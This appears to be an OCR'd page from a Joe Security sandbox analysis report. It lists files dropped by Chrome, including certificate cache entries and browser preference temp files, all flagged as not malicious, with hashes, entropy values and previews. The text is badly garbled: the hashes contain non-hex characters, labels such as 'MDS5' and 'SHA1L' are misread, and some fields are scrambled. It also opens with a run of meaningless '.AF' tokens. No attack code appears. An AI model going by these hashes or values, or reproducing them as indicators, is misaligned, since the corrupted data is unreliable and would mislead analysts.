DS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF
PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF
AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\5887976 EDAA817EEF5159B09F6FCD000_35673150FB44DAA99337A19E2291E035

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 471

Entropy (8bit):  7.198088118324191

Encrypted: false

SSDEEP: 12:JKtf95BWm+fgZDfAgWn2hfmPmNvwTHEoqVa4Qi/ek:Ji9S/yfNhOPmMG5qVatAb

MD5: 5978075161BDB3251F16BDOE9122CAG8

SHA1L: ADC8F9932E9C4723D8FOF8D54E105F751963880C

SHA-256: 78AE293309EB11D6FDOE7D71416DEF5BDAE7CD9F2F747TEAAA9AAEAC18934710F

SHA-512: 0AF850555DC050AE92CB041159F8B82C5BA78D816FFC5E189D92773DBI9FF003A4CB3052C4D7751F72FAC2EOB5EB0478824F06372490DE16D3E3BDE6G66BCE3AL

Malicious: false

Reputation: low

Preview:
[ 0....+...0....0..0....=P..Jel... 2021041821125520s0q0I0...+........ V. @-hiqg)...=.P..... Jel.. 5.C0.52.\M..0....202104182057017....2021042520120
1Z0.. 5 H.oooes 0..1.3[..Q.1...0...d..|...z....d..ShurKy&...Y ... ]L....;.. X Lo {L.p.5.5.. > ~x.S...9.....pd..GN..IC.L...UL.VF.n.@m...k.T.=.G.;8:.;~../.2.. T9....
..... n.@...d%IX.&.1.}..J...;/WB......K.mz.1.....P.h.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 E

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Microsoft Cabinet archive data, 58596 bytes, 1 file

Category: dropped

Size (bytes): 58596

Entropy (8bit):  7.995478615012125

Encrypted: true

SSDEEP: 1536:J7r25qSShelmS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwim1m/QEBbgbloQ

MD5: 61A03D15CF62612F50B74867090DBE79

SHA1L: 15228F34067B4B107E917BEBAF17CC7C3C1280A8

SHA-256: FOE23DC21553DAA34C6EB778CD262831E466CE794FABEA48150E8D70D3E6AFG6D

SHA-512: S5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D%

Malicious: false

Reputation: high, very likely benign file

Copyright Joe Security LLC 2021 Page 20 of 60



C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 E

Preview:

...... l......T......bR. .authroot.stl...s~.4..CK..8T....c_.d...AK.....&-J..."Y..$E.KB..D...D....3.n..U............|..=H4..C&.....f.,.=..-..p2... HX.....b.
cndoilbo~N<L>*V.CX.....B......,.q.M.....HB..E~Q...)..Gax../..}7..f......00...x..k..ha...y.K.0.h..(....{2Y ].g.. yw 10.42.7-. /. xvy..e...w.+.w[.Q.k.9&.Q.EzS f......
W.G....... V.F...A..-P3Y. u..Z.g.>0&y.(.<].>. .Rg..0.Y.syB.B..Z4<?R..18<=8.[as..... add..).NtX....r.... R.&W4.5]....k.._iK.xzZW.w.M.>5.}..J.tLX5Ls3_..
).L.X~...%.B....YS9m.,.....BV .Cee.....2.......x-.09]...Yps..W...1LA<.X.O....7.ei.a\.~=X...HN.#...h,...y.. \br8y"k) ..... ~B..v....GR.g|.z..+.D8.m..F.h...* ......... ItNs.\....s..,.f
D..J. k.19, <D...Uueeee [ *wY.O....P?2.U.l...Fc.ObLg......Fvk..G9.8..l.\T:K"......."3......;.u..h..uD.AbS...I........ j.j .=...s .FxV...g.c.s..9.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 471

Entropy (8bit): 7.222961139354001

Encrypted: false

SSDEEP: 12:JY0fd5FZJ9VBZC4pK/elFloNJ1lige/6GMyR82:JY0fd3ZVBRIW3loNDigW/Myq2
MDS5: 2FB6EF134A64B8DB4B29A89BBACD7846

SHA1L: FOSAEE7E280B0E5225144801F0A73642D791FCE6

SHA-256: C6B62227D8A7E2E315A9144F50BDC5CC5C962399A410ABA1CDC77838F3C110C3
SHA-512: E819F0A71BC81CE8FOFF7E8226CF5FD5286009DAF5FA0B26373553B38BEA249B09A6A11E7796887B705568F127B12FC693E9206F897A639617B67975AB22292F
Malicious: false

Reputation: low

Preview:

...G..&....cd+...20210418215359Z0s0q0I0...+........... (.A.B.G@B.X....>.i..G..&....cd+...y.D.... .a_k.....20210418215359Z....2021
0425215359Z0...* H............. [ *..KSBl% cadudllY Y xe &< cA# Lz (ULRYy..un/. v L2@X.P.0.g....sipq (/..U.&J.. H....._..T.2..{.b3sN...4;..th]....<c.S8..? jE...-
(Uj\ZK.....S..d.;;h#].Bot......... Y..-2T..... |$.>.n.../\...":..31F...0..:x.Oz....

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriICache\MetaData\5887976 EDAA817EEF5159B09F6FCD000_35673150FB44DAA99337A19E2291E0
35

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 860

Entropy (8bit): 3.8359510088575672

Encrypted: false

SSDEEP: 12:MSmxMiv8sFg3ICvM710Bf2Qel7HNgSmxMiv8sFg3ICvM710Bf2Qel7F:pmxxvm4vw1A65trmxxvm4vwlA65F

MD5: B6F88E1B2C0C5A368B45886FCFEGE2D6

SHA1L: 4E9528AE4CA29617B47C92A0C7E4126AE61FDA28

SHA-256: BC3791D5E319A6F6177BBD4A0378094CB77E09792338DD842CD0O3FBBAGC48F7E

SHA-512: 3F96E8984DDD7C2B1BI9FFIDEFCA9315AA45CD8D8F3EDE228C0B2F435A6C43902607B1C0DDD4F03C673C8470745E875845C59F8B13169ED49DAS1F72144EFF

Malicious: false

Reputation: low

Preview:
Peeees e LT (TR BN 0 SOURO ..http./lo.cs.p..dig.ic.e.rt.com/MFEw.T.zBNME.sw.ST.AJB.g.UrD.gM
.C.G.g.U.AB.B.R.JI.L2.K.G.L9.2B.p F3kAtaDtxauTmthU P.d.N.Q.p.d.a.g.r.e.7.z.8.mAK.Z.dM.h.1.Pj.4.1.9.8.C.E.AQN.7.HP.i.Q.2.%.2.F.4.c.3.r.d X.E
.3.u.H.G.8.9%.3.D...".6.0.7.c.a2.0.d.7.-.1.d.7."..peccvs v B4 d @ d@.:.. ......t.d............http./loc.s.p..digic.e.rt.com./MF.E.

w.T.z.B.N.M.E.s.w.S.T.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.R.J.9.L.2.K.G.L.9.2.B.p.j.F.3.k. AtaD.t.x.a.u.T.mh.g.Q.U.P.d.N.Q.p.d.a.g.r.e.7.z.S.mA.K.Z.dM.h.1.P.j.4.1.9.8.C.
E.A.q.N.7H.P.i.Q.2.%.2.F.4.c.3.r.d.X.E.3.u.H.G.8.%.3.D...".6.0.7.c.a.0.d.7.-.1.d.7."...

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.1192967794857243

Encrypted: false

SSDEEP: 6:kKKYQsWTJION+SKQIPIEGYRMY9z+4KIDA3RUeOht:VswTJIrkPIE9Q9SNxAhUeOht

MD5: CCA46348DAD31E3B14513A4A2904893F

SHA1L: 8ABC638DE8D215CCEI6AC78FAA51767CDD74A8F2

SHA-256: 3CD3172249062B8B2D4560865C8BD51A76C4C1DC7D4B70334EAE3CAEF34EBDAB
SHA-512: B1D1BECE774A7B52C84618515A55190A98383E7B742501F460454501145579C270C92B360C4F0331256B4B1DF986F01E81BA2FDA827A0CIB0158D6ED20E61EIA
Malicious: false

Reputation: low

Preview:

NG (i
i.c/trusted.r/enlauthro.ots.tl.

.httpo//letldl.windows.u.p.date..c.om./ms.d.ow.n.lo.ad./u.p.date./v.3./

. Od8f4f3f6fd7

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D6
19

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D6
19

File Type: data

Category: dropped

Size (bytes): 860

Entropy (8bit): 3.835209371522487

Encrypted: false

SSDEEP: 12:0el5mxMiv8sF1JbgDkwJrOyr7ye2a5mxMiv8sF1JIbgDkwJrOyr7T:0c5mxxvnFqYwJbyraSmxxvnFqYwJbT

MDS5: AO4DIAFBF4687C7C096D3B8754F8301C

SHA1L: 2E3BDDECBAC9D3B06039172C569BESAA574334ED

SHA-256: FB1A27881D3371E02E585FA277B6F3F81BB1069C7BD692DDD4ESCCC585C9551E

SHA-512: 8A219CF15CF986D5714CACD6133C36D1B2C0D0713301B337917C395ABE4DF3C9360DF816943A8424C7F2457ADF9149796F9894DF92453D0CB9525D500A5BD5D

Malicious: false

Reputation: low

Preview:
Peeeies e D (et e Fodhid h.tt.p.;.//.0.c.s.p...d.i.g.i.ceert..com/MFEw.T.z.B.N.M.E.sw.S.T.AJ.B.g.U.r.D.g.M.
C.G.g.U.AB.B.T.f.q.h.LjK.L.EJ.Q.Z.P.i.n.0.K.C.zk.d.A.Q.p.V.Y.0w.Q.U.s.T.7.D0.a.Q.P.4.v.0.c.B.1.J.9.m.G.g.9.C.7.2.N.k.K.8.M.C.E.A.x.5.9.U.S.w.j.B.G.V.1.J.J.h.X.%.2.B.
J.rHY.M.%.3.D...".6.0.7.c.c.c.6.e.-.1.d.7."...peecs v B (e uVd... e veeentd e hittpadloces.p..dig.i.cert..c.om./M.F.Ew.

T.z.B.N.M.E.;s.w.S.T.AJ.B.g.U.r.D.g.M.C.G.g.U.A.B.B.T.f.q.h.L.}K.L.E.J.Q.Z.P.i.n.0.K.C.z.k.d.A.Q.p.V.Y.0.w.Q.U.s.T.7.D.a.Q.P.4.v.0.c.B.1.J.9.m.G.g.g.C.7.2.N k.
K.8.M.C.E.Ax.5.q.U.S.w.j.B.G.V.1.J.J.h.X.%.2.B.J.r.H.Y.M.%.3.D...".6.0.7.c.c.c.6.e.-.1.d.7."...

C:\Users\luser\AppData\Local\Google\Chrome\User Data\0df8896e-5f09-4797-a9¢e0-22e3b341e497.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 94772

Entropy (8bit): 3.7439289229678208

Encrypted: false

SSDEEP: 384:pULxKuwnlYPMyV/xO1Nyr3vm+3NmoBHMpG5wrrdalxIMoY 7rj+mP7VbICuulO8AS:wG6EIRSYYRkeDg6IMfXGIKQUCV5

MDS5: 7C453118D2D4169BACB7484EBF939723

SHA1L: 2341F6E6361FBF561F684B3F9504CEBSDE45E255

SHA-256: 00B1715EC7C38989E4BB9F100D0B53BD10046644D776D2F9C61CABDED59A437D

SHA-512: 3D27C331B90B663F5943918456314AE105D23AE6DB5913DB1C8D69C00D833C93CBC56B8BDF68C2A290A319A044F2F98EB6DDSABE913D8ADDCIELICDES3D84F!
A4

Malicious: false

Reputation: low

Preview:
or. ...C..\.P.R.0.G.RA~1\M..LC.R.0.S.~.1\.0Offic.el6\GRO.O.V.EEX..DLL.PL...%.p.r.o.gram.files.%.\m.ic.ro.s.o.ft .officeloffic.e

.g.r.o.o.v.eex.dll..Micros.oft .Office..2.0.1.6..*.Micr.os.o.ft .O.neD.r.ive. for. .B.us.ines.s. Exte.ns.ions...16..0..47.11.10
.C..\\P.R.O.G.RA~1\M.IC.R.O.S.~.1\0Office.l.6.\G.RO.O.V.EEX.D.L.L...Micro.s.o.ft .C.orp.oratio.n..78.D..C.:\Pro.g.ram. .Files\C.0o
.m.m.o.n. .F.iles\M..cr.o.s.oft .S.hared\O.F.FICE.16\ms.0shext.dl.@...U/..%.comm.o.n.p.ro.g.ramfiles.%.\micro.s.o.ft .share.d\o.f
fic.e.l6.\...msoshext.dll..M.icros.o.ft Offic.e.)..Micros.o.ft Office..Shell Extens.ion. Handlers....16..0..4.26.6..1.0.0.1....D..C
\.P.ro.g.ram.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\0ff4afdc-7bb5-400f-9984-d8b5442fef32.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 163251

Entropy (8bit): 6.082330490292239

Encrypted: false

SSDEEP: 3072:eKaupswhCSUBAYeuAHFchXaflBOu1GOJmMA3iuRQ:TaCDbXDAYtAlagfllUO0SIiuRQ
MDS5: CB9452E1457F9E642CC06CCI65F88BAB

SHA1L: 85FBE34F77FDF01B1848B5DD94E86DBACF374754

SHA-256: 49932CEB5762A428AC3F9383A51FB01729E243B5E9865A5E0C2F597FA4325E9A
SHA-512: 8D49B8FBB8169BA31CC2829D76538956D8E353AD8171D00D197759C903CADF5B39B095BFB1ESBESCDF98E4519F092695436BF218D469978EA4ABID7895AD752
Malicious: false

Reputation: low

Preview:

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9QUAAAAAABAAAAAAGAAIAAAABDVAGjLg1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1
vCL4JIXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPwI8XRX5Y944rq1WsGWcOPFyX0ajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\1347c287-a842-4ee7-b78f-1ad8b2b0bf96.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\1347c287-a842-4ee7-b78f-1ad8b2b0bf96.tmp

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

154774

6.051706430682006

false
3072:spupswhCSUBAYeuAHFcbXaflBOU1GOIMA3iuRQ:spCDbXDAYtAlagfllUO0SIiuRQ
208732D125AFD8F54972FCF89D37C68E
3A66102E665ED93794BC08429ABOAC3D3BEBC22C
D6B423B684C5371556814F697BD8D2241E000C4B1111548FA85664B313BF2E13

A332D50B639C1D9944EC41147CD74C3E8DB69C2740DB2344983D1FC548EA899AEED21108159D6566CCD6913A60B16DAFABEC972F4C948B666F7FA87DE22CAS
F

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9UAAAAAABAAAAAAGAAIAAAABDVAGjLG1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRYJjDXn4W2fxY qQj2xfYeAnS1
VvCL4JIXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPWI8XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016104655"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\2969d7e7-c717-4d11-be8b-463a551a792d.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

155225

6.05280085027499

false
3072:1BupswhCSU8AYeuAHFcbXaflBOu1GOJmA3iuRQ:IBCDbXDAYtAlagfllUO0SiuRQ
1C58D2C94ABE0735BC8ECDB6AAFBEEG7
E4791FB70E954D7B34E0A6786114F4B6F8953C97
0050961D57F954DC28694AAB5EC02398D3E61A68C902C1C3FAF19FDDB667A989
CF9010D981E13CBDO6CAES54AE7092D443258FFCE83C75086736F8770F5D5459D1B29AEFAB4E707DAIFCO65ED98F53C60C6EIBAEA43A11329405339E7B7F542B

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9UAAAAAABAAAAAAGAAIAAAABDVAGjLg1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1
vCL4JIXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPWI8XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016104655"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\425d99bc-d502-432a-87a0-966a97336d9b.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

163250

6.0823308891368475

false
3072:eVIupswbCSU8BAYeuAHFchXaflBOuLGOJmMA3iuRQ:kICDbXDAYtAlagfllUO0oSiuRQ
E3F4F19B9329F9C518DF48D94108F78E
6F09038D5F7745D8A6423A8299584FF3A72D6EAD
1800B6D0A5419D5DB79DE6C0O00B635D4982EC035DBDABA34528DDF4143F01029

23C73BA0441F68D08C62233F75EF6DA6BDE022F767ESA85FBEAO3D45AEE10A933AEACC5A648B4D6FFAG507F8CIDF6AA7C52ECC209A7DDC1626BOF93DBCCY!
ESE

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOIyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9UAAAAAABAAAAAAGAAIAAAABDVAGjLG1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1
vCL4JXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPWI8XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\437c5f30-8ba5-4a61-936e-1bdf3ff35bea.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

155655

6.053996473864783

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\437c5f30-8ba5-4a61-936e-1bdf3ff35bea.tmp

SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

3072:8BupswbCSUBAYeuAHFcbXaflBOulGOJmA3iuRQ:8BCDbXDAYtAlagfllUO0SIuRQ

08DE89188558A26A7EA815E6F07A98A1

228BE12465EDD673376243E8658A87E03755D4CF

DCC2F011B81557544F25D79041FFA7B87914EC1546BDE9D4D120CBCF43657623
1A877199CBC59FEE35C49595756DE5A65221159DCIA9CI6939604E5F5A32AD22B3D33F3CEI6BAGE088318F4981F48EBE93DE6SD3D8DF067BDI4A3FCFFB72D57!

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"origin_trials":{"disabled_features":
["SecurePaymentConfirmation"]},"os_crypt":{"encrypted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWK194zTZq03WydzHLCAAAAAAIAAAAAABB
MAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr2ZbBFieQUAAAAAABAAAAAAGAAIAAAABDVAQjLg1dOS7IKRG21YVXojnHhsRhNbP8/D1zs78m
XMAAAABO0450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1vCL4IXAsdfljiw4oXIEAR7I0AAAABIt36F(ChftMIb7EtaPWIBXRX5Y944rq1WsGWcOPFyXOajfBL3GXBUh
MXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"132

C:\Users\luser\AppData\Local\Google\Chrome\User Data\4b83b281-7a4d-4cda-87dd-02af20fd4de6.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

154774

6.051708108961736

false
3072:qaupswbCSU8BAYeuAHFcbXaflBOu1GOJmMA3iuRQ:qaCDbXDAYtAlagfllUO0SIuRQ
E3AD0290BEC7ACCE080562D7D0D67777
7EDEBEOC7F26B8823927266FB78C7D458EDFED6B
31439E822F1C2B5D5145B7B8518146D274F48776375A92382A5DBEB7B7265092

705959BACFC53B92BD8CA138C922859018EFSEAC07D91B2771D1F6E4EA688BDIGECC12F1A1B43ECB0OD86136303E2B564D5C5B3CE3FB8842DA52074C4B69018
5

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9QUAAAAAABAAAAAAGAAIAAAABDVAGjLg1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1
vCL4JIXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPwI8XRX5Y944rq1WsGWcOPFyX0ajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016104655"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\4d19c318-9286-47b7-83fe-7814e5ec35f9.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

154951

6.0521641470342855

false
3072:ABupswhCSU8AYeuAHFcbXaflBOu1GOJmMAS3iuRQ:ABCDbXDAYtAlagfllUOoSiuRQ
3401E7B92868D9147302C336EAAAABCE
6F237465F5988DC7CABA33042B72958820812E3C
D350C3ED4E1132EC3175A8CAE5111933CFIB69A8B6C29751EATEE0554D749BED2

202E8C185C4AA3ABE0239F528543A062F7953F437F1D1B8130D6AECDCF68268F7E830CE465CA3FOBF8FA0129B1D4AD39F337525F1B953ADC4C8CABDBF5883AL
D

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.618901531381293e+12,"network":1.618869132e+12,"ticks":98394975.0,"uncertainty":4883933.0}},"0s_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABLISWKt94zTZq03WydzHLCAAAAAAIAAAAAABBMAAAAAQAAIAAAABAL 2tyan+IsWixhoUVdUYrYiwg8iJkppNr
2ZbBFie9QUAAAAAABAAAAAAGAAIAAAABDVAGjLg1dOS7IkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAABO450d5v4BxiFP4bdRY JjDXn4W2fxY qQj2xfYeAnS1
vCL4JXAsdfljw4oXIE4R7I0AAAABIt36FqChftM9b7EtaPWwI8XRX5Y944rq1WsGWcOPFyX0ajfBL3GXBUhMXghJbDGbh5WCu+JEdxaxLLxaYPp4zeP"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13245951016104655"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\5695072a-a0e1-402a-8430-0e431711e528.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

155037

6.052332923231267

false
3072:pBupswbCSU8BAYeuAHFcbXaflBOu1GOJmMA3iuRQ:pBCDbXDAYtAlagfllUO0SIiuRQ
0321331040910B28EA6FO0FB6F2C06A0
288E032A8B76FBC2B91DA420207AE7F4B8B4E2E4
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\5695072a-a0e1-402a-8430-0e431711e528.tmp

SHA-256:
SHA-512:
Malicious:

Preview:

172F0571D84E81D6860828960CDAG97C5E34C8EC830DF9C260B8E2D62BAFAEAL
827A93B28613C18CD03D750EADOC10337E330C76CC478649E99F9F787F18CC99202E84BBDDODEE5S0286C80A860CEEFFBC2F9128F9BD1126A92F53D15D819CB

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
